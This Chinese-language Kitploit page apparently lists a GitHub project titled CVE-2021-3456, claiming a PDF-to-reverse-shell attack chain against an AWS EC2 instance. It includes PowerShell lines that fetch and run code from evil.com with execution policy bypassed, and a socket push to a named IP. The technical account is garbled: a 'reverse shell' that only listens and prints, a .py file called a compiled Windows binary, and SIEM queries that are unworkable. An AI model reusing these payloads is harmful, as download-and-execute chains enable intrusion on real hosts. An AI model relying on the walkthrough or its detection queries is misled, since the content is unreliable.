Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3456 — 一个实际的攻击链,始于一个看似无害的PDF文件,最终在AWS EC2实例上获得一个反向shell。 | Kitploit
工具/GitHubGitHub/mrk336/cve-2021-3456
权限提升漏洞利用横向移动后渗透利用钓鱼攻击命令与控制社会工程学学习与教育红队Payload 开发实验室与实践
GitHub
81年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
mrk336/cve-2021-3456

CVE-2021-3456

一个实际的攻击链,始于一个看似无害的PDF文件,最终在AWS EC2实例上获得一个反向shell。

查看仓库

CVE-2021-3456

一条从看似无害的 PDF 文件开始,最终在 AWS EC2 实例上获得反向 shell 的实用攻击链

开端:构建 PDF 载荷

一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象,我们将一段脚本嵌入 PDF 中,该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件,并将其写入本地文件系统。

$payload = @" var wsh = WScript.CreateObject("WScript.Shell"); wsh.Exec( "powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); ` Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }" "@

关键优势在于,PDF 不需要单独的下载步骤:它直接交给 PowerShell,由后者启动攻击链的下一阶段。

PowerShell 遇上 SMB

一旦 PDF 中的脚本在目标主机(10.0.1.5)上执行,我们就使用 PowerShell 打开与 EC2 实例(54.231.12.41)的 SMB 连接,并通过该套接字推送刚刚下载的可执行文件。相同的代码可以从任何 Windows 工作站运行,从而为攻击者提供企业局域网内的低姿态跳板点。

$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }

SMB 数据包在 Windows 审计日志中显示为标准事件(EventID 4624),因此在大多数 SIEM 仪表板中很容易被察觉。

简化版反向 shell

我们攻击链的最后一部分是一个用 Python 编写的小型反向 shell。它监听从 EC2 返回同一主机的 SSH 连接,将调试行打印到控制台,然后退出。一旦编译为 rcmd.py,它将被上述 PowerShell 步骤自动执行。

#!/usr/bin/env python3 import socket

def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)

root@kitploit:~
while True:
    conn, _ = listener.accept()
    data = conn.recv(1024)
    print('[+] Received %d bytes' % len(data))

if name == 'main': main()

因为它是一个静态二进制文件,可以在 Windows 上本地运行,所以无需在目标主机上安装额外的代理或服务。

防御策略

安全团队应假设入侵是可能的,并构建分层检测策略。

异常流量

过滤来自目标主机的异常大 SMB 数据包。

index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

高内存使用

该二进制文件的内存消耗表明它是目标主机上一个不可忽视的进程。

index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

非办公时段

红队通常不会在办公时段执行,因为他们担心脚本可能以某种方式引起用户警觉。此查询将检查非预期时段内的流量。

index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

免责声明

本项目仅供教育和研究目的使用。请勿在未经授权的环境中使用这些技术。

下载工具